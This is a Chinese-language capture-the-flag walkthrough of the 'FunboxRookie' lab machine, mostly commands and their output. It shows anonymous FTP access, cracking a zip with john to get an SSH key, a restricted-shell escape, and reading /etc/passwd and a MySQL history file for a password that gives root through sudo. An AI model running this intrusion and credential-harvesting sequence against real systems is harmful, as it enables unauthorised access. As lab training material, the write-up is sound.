【offensive-security】5.FunboxRookie靶机

image.png

一、获取靶机信息

1.已知信息：

• IP: 192.168.245.107

2.获取信息：

• nmap扫描开启的服务

┌──(lo0p㉿0xlo0p)-[~]
└─$ nmap -p "*" 192.168.245.107
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-27 10:53 CST
Nmap scan report for 192.168.245.107
Host is up (0.27s latency).
Not shown: 8348 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 401.07 seconds

分别开了21、22、80端口，首先进入80端口查看，是一个apache默认页面，没有什么有用的信息

image.png

3.FTP弱密码

使用匿名账号进入ftp，可以发现一堆压缩包，全部下载下来，解压过程中发现需要密码

┌──(lo0p㉿0xlo0p)-[~/ftp_file]
└─$ ftp 192.168.245.107
Connected to 192.168.245.107.
220 ProFTPD 1.3.5e Server (Debian) [::ffff:192.168.245.107]
Name (192.168.245.107:lo0p): anonymous
331 Anonymous login ok, send your complete email address as your password
Password: 
230-Welcome, archive user anonymous@192.168.49.245 !
230-
230-The local time is: Thu Oct 27 03:22:03 2022
230-
230-This is an experimental FTP server.  If you have any unusual problems,
230-please report them via e-mail to <root@funbox2>.
230-
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||47501|)
150 Opening ASCII mode data connection for file list
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 anna.zip
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 ariel.zip
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 bud.zip
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 cathrine.zip
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 homer.zip
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 jessica.zip
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 john.zip
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 marge.zip
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 miriam.zip
-r--r--r--   1 ftp      ftp          1477 Jul 25  2020 tom.zip
-rw-r--r--   1 ftp      ftp           170 Jan 10  2018 welcome.msg
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 zlatan.zip
226 Transfer complete
ftp> quit
221 Goodbye.
┌──(lo0p㉿0xlo0p)-[~/ftp_file]
└─$ unzip -o anna.zip
Archive:  anna.zip
[anna.zip] id_rsa password: 
   skipping: id_rsa                  incorrect password

4.zip2john、john工具爆破压缩包密码

┌──(lo0p㉿0xlo0p)-[~/ftp_file]
└─$ zip2john *.zip > pwd2.txt
ver 2.0 efh 5455 efh 7875 anna.zip/id_rsa PKZIP Encr: TS_chk, cmplen=1299, decmplen=1675, crc=39C551E6 ts=554B cs=554b type=8
ver 2.0 efh 5455 efh 7875 ariel.zip/id_rsa PKZIP Encr: TS_chk, cmplen=1299, decmplen=1675, crc=39C551E6 ts=554B cs=554b type=8
ver 2.0 efh 5455 efh 7875 bud.zip/id_rsa PKZIP Encr: TS_chk, cmplen=1299, decmplen=1675, crc=39C551E6 ts=554B cs=554b type=8
ver 2.0 efh 5455 efh 7875 cathrine.zip/id_rsa PKZIP Encr: TS_chk, cmplen=1299, decmplen=1675, crc=39C551E6 ts=554B cs=554b type=8
ver 2.0 efh 5455 efh 7875 homer.zip/id_rsa PKZIP Encr: TS_chk, cmplen=1299, decmplen=1675, crc=39C551E6 ts=554B cs=554b type=8
ver 2.0 efh 5455 efh 7875 jessica.zip/id_rsa PKZIP Encr: TS_chk, cmplen=1299, decmplen=1675, crc=39C551E6 ts=554B cs=554b type=8
ver 2.0 efh 5455 efh 7875 john.zip/id_rsa PKZIP Encr: TS_chk, cmplen=1299, decmplen=1675, crc=39C551E6 ts=554B cs=554b type=8
ver 2.0 efh 5455 efh 7875 marge.zip/id_rsa PKZIP Encr: TS_chk, cmplen=1299, decmplen=1675, crc=39C551E6 ts=554B cs=554b type=8
ver 2.0 efh 5455 efh 7875 miriam.zip/id_rsa PKZIP Encr: TS_chk, cmplen=1299, decmplen=1675, crc=39C551E6 ts=554B cs=554b type=8
ver 2.0 efh 5455 efh 7875 tom.zip/id_rsa PKZIP Encr: TS_chk, cmplen=1299, decmplen=1675, crc=39C551E6 ts=554B cs=554b type=8
ver 2.0 efh 5455 efh 7875 zlatan.zip/id_rsa PKZIP Encr: TS_chk, cmplen=1299, decmplen=1675, crc=39C551E6 ts=554B cs=554b type=8
┌──(lo0p㉿0xlo0p)-[~/ftp_file]
└─$ john pwd2.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
iubire           (tom.zip/id_rsa)     
1g 0:00:00:00 DONE 2/3 (2022-10-27 02:25) 33.33g/s 1563Kp/s 1563Kc/s 1563KC/s 123456..ferrises
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

得到tom的压缩包密码：iubire，解压拿到id_rsa文件，利用该文件免密进入ssh

┌──(lo0p㉿0xlo0p)-[~/ftp_file]
└─$ unzip tom.zip                                  
Archive:  tom.zip
[tom.zip] id_rsa password: 
  inflating: id_rsa
┌──(lo0p㉿0xlo0p)-[~/ftp_file]
└─$ chmod 600 id_rsa
┌──(lo0p㉿0xlo0p)-[~/ftp_file]
└─$ ssh -i id_rsa tom@192.168.245.107
The authenticity of host '192.168.245.107 (192.168.245.107)' can't be established.
ED25519 key fingerprint is SHA256:ZBER3N78DusT56jsi/IGcAxcCB2W5CZWUJTbc3K4bZc.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.245.107' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-117-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Oct 27 03:34:44 UTC 2022

  System load:  0.0               Processes:             172
  Usage of /:   74.9% of 4.37GB   Users logged in:       0
  Memory usage: 38%               IP address for ens256: 192.168.245.107
  Swap usage:   0%


30 packages can be updated.
0 updates are security updates.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
tom@funbox2:~$ find / -perm -4000 2>/dev/null
-rbash: /dev/null: restricted: cannot redirect output
tom@funbox2:~$ sudo -l
[sudo] password for tom:
tom@funbox2:~# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
tom:x:1000:1000:tom:/home/tom:/bin/rbash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:112:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:113:65534::/srv/ftp:/usr/sbin/nologin

发现tom用户的shell为rbash，大部分命令都被限制了

5. rbash逃逸

参考： (71条消息) 【渗透测试】--- rbash逃逸方法简述_通地塔的博客-CSDN博客

这里发现cp命令可以执行，我们将/bin/bash复制出来然后执行

tom@funbox2:~$ cp /bin/bash .
tom@funbox2:~$ bash

逃逸了，然后开始获取相关可利用的信息，用户目录下可查看.bash_history等信息

tom@funbox2:~$ ll
total 1148
drwxr-xr-x 5 tom  tom     4096 Oct 27 06:32 ./
drwxr-xr-x 3 root root    4096 Jul 25  2020 ../
-rwxr-xr-x 1 tom  tom  1113504 Oct 27 06:32 bash*
-rw------- 1 tom  tom       72 Oct 27 06:32 .bash_history
-rw-r--r-- 1 tom  tom      220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 tom  tom     3771 Apr  4  2018 .bashrc
drwx------ 2 tom  tom     4096 Oct 27 03:34 .cache/
drwx------ 3 tom  tom     4096 Jul 25  2020 .gnupg/
-rw------- 1 tom  tom    12288 Oct 27 03:36 .local..swp
-rw-r--r-- 1 tom  tom       33 Oct 27 02:49 local.txt
-rw------- 1 tom  tom      295 Jul 25  2020 .mysql_history
-rw-r--r-- 1 tom  tom      807 Apr  4  2018 .profile
drwx------ 2 tom  tom     4096 Jul 25  2020 .ssh/
-rw-r--r-- 1 tom  tom        0 Oct 27 03:41 .sudo_as_admin_successful
-rw------- 1 tom  tom      728 Oct 27 03:40 .viminfo
tom@funbox2:~$ cat .mysql_history 
_HiStOrY_V2_
show\040databases;
quit
create\040database\040'support';
create\040database\040support;
use\040support
create\040table\040users;
show\040tables
;
select\040*\040from\040support
;
show\040tables;
select\040*\040from\040support;
insert\040into\040support\040(tom,\040xx11yy22!);
quit

看到有个.mysql_history很可疑，vim查看有一个insert命令插入tom用户xx11yy22!密码，我们抱着试一试的态度拿这个密码来sudo

tom@funbox2:~$ sudo -l
[sudo] password for tom: 
Matching Defaults entries for tom on funbox2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User tom may run the following commands on funbox2:
    (ALL : ALL) ALL

竟然成功了，权限解析如下：

第一段：表示来源地，即从哪执行这条命令。ALL表示所有计算机
第二段：表示sudo可以切换到什么用户。ALL表示所有用户
第三段：表示sudo可以切换到哪些组下的用户。ALL表示所有组

结果直接su root就可以拿到了root用户权限。。。这题出得太水了

tom@funbox2:~$ sudo su
root@funbox2:/home/tom#